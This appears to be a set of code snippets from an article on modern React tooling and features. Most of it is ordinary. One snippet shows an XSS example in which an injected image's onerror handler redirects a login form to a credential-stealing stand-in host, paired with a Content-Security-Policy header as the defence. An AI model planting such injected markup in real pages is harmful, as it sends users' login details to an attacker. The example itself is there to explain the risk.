// src/ClientComp.js
"use client"
export function ClientComp() { return <div>...</div> }

import { createClientReference } from "plugin/runtime/server.js"
export let ClientComp = createClientReference("src/ClientComp.js#ClientComp")

import { ClientComp } from "./ClientComp"
export async function App() { return <div><ClientComp /></div> }

0:"$L1"
// Результат рендеринга Client Reference, включая некоторые метаданные
2:I{"id":"./src/ClientComp.js","chunks":["client0"],"name":"ClientComp","async":false}
1:["$","div",null,{"children":["$","$L2",null,{}]}]

<ViewTransition>{condition ? <ComponentA /> : <ComponentB />}</ViewTransition>

<Suspense fallback={<ViewTransition><Skeleton /></ViewTransition>}>
  <ViewTransition><Content /></ViewTransition>
</Suspense>

import * as React from 'react';
import { Popover } from '@base-ui-components/react/popover';
import styles from './index.module.css';

export default function ExamplePopover() {
  return (
    <Popover.Root>
      <Popover.Trigger className={styles.IconButton}>
        <BellIcon aria-label="Notifications" className={styles.Icon} />
      </Popover.Trigger>
      <Popover.Portal>
        <Popover.Positioner sideOffset={8}>
          <Popover.Popup className={styles.Popup}>
            <Popover.Arrow className={styles.Arrow}>
              <ArrowSvg />
            </Popover.Arrow>
            <Popover.Title className={styles.Title}>Notifications</Popover.Title>
            <Popover.Description className={styles.Description}>
              You are all caught up. Good job!
            </Popover.Description>
          </Popover.Popup>
        </Popover.Positioner>
      </Popover.Portal>
    </Popover.Root>
  );
}

// somewhere before
const GalleryCardMemo = React.memo(GalleryCardMemo);

// somewhere in render function
{data?.data?.map((example) => {
  return (
    <GalleryCardMemo
      href={`/examples/code-examples/${example.key}`}
      key={example.key}
      title={example.name}
      preview={example.previewUrl}
    />
  );
})}

{data?.data?.map((example) => {
  return (
    <GalleryCardMemo
      href={`/examples/code-examples/${example.key}`}
      key={example.key}
      title={example.name}
      // pass primitives values instead of the entire object
      previewLight={example.previewUrl.light}
      previewDark={example.previewUrl.dark}
    />
  );
})} 

npx @biomejs/biome check --write ./src

biome migrate eslint –write
biome migrate prettier –write

{
  "$schema": "https://biomejs.dev/schemas/1.9.4/schema.json",
  "css": {
    "linter": {
      "enabled": true
    }
  },
  "files": {
    "ignore": [
      "dist/**",
    ],
    "include": [
      "src/**"
    ]
  },
  "formatter": {
    "ignore": [
      "configuration_schema.json"
    ]
  },
  "json": {
    "formatter": {
      "indentStyle": "space",
      "lineWidth": 1
    }
  },
  "linter": {
    "enabled": true,
    "rules": {
      "recommended": true,
      "style": {
        "noNonNullAssertion": "off"
      }
    }
  },
  "organizeImports": {
    "enabled": true
  }
}

const [error, submitAction, isPending] = useActionState(
  async (previousState, newName) => {
    const error = await updateName(newName);
    if (error) {
      return error;
    }

    return null;
  },
  null,
);

<form action={submitAction}>

import {useFormStatus} from 'react-dom';

function DesignButton() {
  const {pending} = useFormStatus();
  return <button type="submit" disabled={pending} />
}

import {use} from 'react';

function Comments({commentsPromise}) {
  const comments = use(commentsPromise);
  return comments.map(comment => <p key={comment.id}>{comment}</p>);
}

import { prerender } from 'react-dom/static';

async function handler(request) {
  const {prelude} = await prerender(<App />, {
    bootstrapScripts: ['/main.js']
  });
  return new Response(prelude, {
    headers: { 'content-type': 'text/html' },
  });
}

function MyInput({placeholder, ref}) {
  return <input placeholder={placeholder} ref={ref} />
}

<MyInput ref={ref} />

<input
  ref={(ref) => {
    return () => {
      // очистка
    };
  }}
/>

function BlogPost({post}) {
  return (
    <article>
      <h1>{post.title}</h1>
      <title>{post.title}</title>
      <meta name="author" content="Josh" />
      <link rel="author" href="https://twitter.com/joshcstory/" />
      <link rel="stylesheet" href="foo" precedence="default" />
      <meta name="keywords" content={post.keywords} />
    </article>
  );
}

const ReactIslands = {
    amazingNewFeature: function amazingNewFeature(
        element: HTMLDivElement,
        props: AmazingNewFeatureProps
    ) {
        createRoot(element).render(
            <App>
                <AmazingNewFeature {...props} />
            </App>
        );
    },
};

window.ReactIslands = ReactIslands;

<script
  type="module"
  src="{{ url_for('static', filename='reactIslands.js') }}"
></script>
<script>
  $(document).ready(function () {
   window.ReactIslands.amazingNewFeature(
    document.getElementById('amazing-new-feature'),
    {
          prop1: {{ value_from_server | tojson }},
          prop2: {{ value_from_server | tojson }},
      })
  })
</script>
<div id="amazing-new-feature"></div> 

 
// app/routes.ts 
import { 
  type RouteConfig, 
  route, 
} from "@react-router/dev/routes"; 
 
export default [ 
  route("teams/:teamId", "./team.tsx"), 
  // паттерн ^                 ^ файл модуля 
] satisfies RouteConfig; 

 
// provides type safety/inference 
import type { Route } from "./+types/team"; 
 
// provides `loaderData` to the component 
export async function loader({ params }: Route.LoaderArgs) { 
  let team = await fetchTeam(params.teamId); 
  return { name: team.name }; 
} 
 
// renders after the loader is done 
export default function Component({ 
  loaderData, 
}: Route.ComponentProps) { 
  return <h1>{loaderData.name}</h1>; 
}

import { useState, useEffect } from "react";

function UserProfile({ userId }) {
  const [user, setUser] = useState(null);

  useEffect(() => {
    fetch(`https://api.example.com/users/${userId}`)
      .then(response => response.json())
      .then(data => {
        const isActive = data.accountStatus === "active" &&
          new Date(data.lastLogin) >= new Date(Date.now() - 30 * 24 * 60 * 60 * 1000);

        setUser({
          name: `${data.firstName} ${data.lastName}`,
          email: data.email,
          isActive,
        });
      });
  }, [userId]);

  if (!user) {
    return <p>Loading...</p>;
  }

  return (
    <div>
      {user.name} is {user.isActive ? "active" : "inactive"}
    </div>
  );
}

import { useState, useEffect } from "react";

function UserProfile({ userId }) {
  const [user, setUser] = useState(null);

  useEffect(() => {
    fetchUser(userId).then((data) => setUser(normalizeUser(data)));
  }, [userId]);

  if (!user) {
    return <Loader />;
  }

  return <UserStatus user={user} />;
}

const App = () => {
  return (
    <div dangerouslySetInnerHTML={{ __html: `
      <img src="x" onerror="document.getElementById('loginForm').action = 'https://bad-place-that-will-steal-your-info.com'">
    `}}></div>
  );
}

Content-Security-Policy: "script-src 'self'";

// searchParams.ts

import { parseAsString, createSearchParamsCache, parseAsArrayOf } from 'nuqs/server';

export const searchParams = {
  category: parseAsArrayOf(parseAsString).withDefault([]),
  q: parseAsString.withDefault(''),
};
export const searchParamsCache = createSearchParamsCache(searchParams);


// Search.tsx

export default function Search() {
  const params = useParams();
  const [isPending, startTransition] = useTransition();
  const [q, setQ] = useQueryState(
    'q',
    searchParams.q.withOptions({
      shallow: false,
      startTransition,
    }),
  );

  return (
    <form>
      <input
        onChange={e => {
          setQ(e.target.value);
        }}
        defaultValue={q}
        type="search"
      />
      <SearchStatus searching={isPending} />
    </Form>
  );
}

// app/router.tsx
import { createRouter as createTanStackRouter } from '@tanstack/react-router'
import { routeTree } from './routeTree.gen' // Этот файл генерируется автоматически

export function createRouter() {
  const router = createTanStackRouter({
    routeTree,
  })

  return router
}

declare module '@tanstack/react-router' {
  interface Register {
    router: ReturnType<typeof createRouter>
  }
}

// app/ssr.tsx
/// <reference types="vinxi/types/server" />
import {
  createStartHandler,
  defaultStreamHandler,
} from '@tanstack/start/server'
import { getRouterManifest } from '@tanstack/start/router-manifest'

import { createRouter } from './router'

export default createStartHandler({
  createRouter,
  getRouterManifest,
})(defaultStreamHandler)

// app/client.tsx
/// <reference types="vinxi/types/client" />
import { hydrateRoot } from 'react-dom/client'
import { StartClient } from '@tanstack/start'
import { createRouter } from './router'

const router = createRouter()

const root = document.getElementById('root')
if (!root) {
  throw new Error('Root element not found')
}

hydrateRoot(root, <StartClient router={router} />)

npm install -D babel-plugin-react-compiler@beta eslint-plugin-react-compiler@beta

// vite.config.js
const ReactCompilerConfig = { /* ... */ };

export default defineConfig(() => {
  return {
    plugins: [
      react({
        babel: {
          plugins: [
            ["babel-plugin-react-compiler", ReactCompilerConfig],
          ],
        },
      }),
    ],
    // ...
  };
});

const ReactCompilerConfig = {
  sources: (filename) => {
    return filename.indexOf('src/path/to/dir') !== -1;
  },
};

import reactCompiler from 'eslint-plugin-react-compiler'

export default [
  {
    plugins: {
      'react-compiler': reactCompiler,
    },
    rules: {
      'react-compiler/react-compiler': 'error',
    },
  },
]

import { memo } from 'react';

const Welcome = () => {
    const { color } = useContext(ThemeContext);
    return <WelcomeBody color={color} />
}

const WelcomeBody = memo(({ color }) => {
    return <div style={{ color }}>Hello!</div>;
})

import { createContext, useContextSelector } from 'use-context-selector';

const MyContext = createContext(null);

const Counter1 = () => {
  const value = useContextSelector(MyContext, value => value.myValue);
  …
}

import { cookies } from 'next/headers';
 
export async function AdminPanel() {
  const cookieStore = await cookies();
  const token = cookieStore.get('token');
 
  // ...
}

fetch('https://...', { cache: 'force-cache' | 'no-store' });

import Form from 'next/form';
 
export default function Page() {
  return (
    <Form action="/search">
      <input name="query" />
      <button type="submit">Submit</button>
    </Form>
  );
}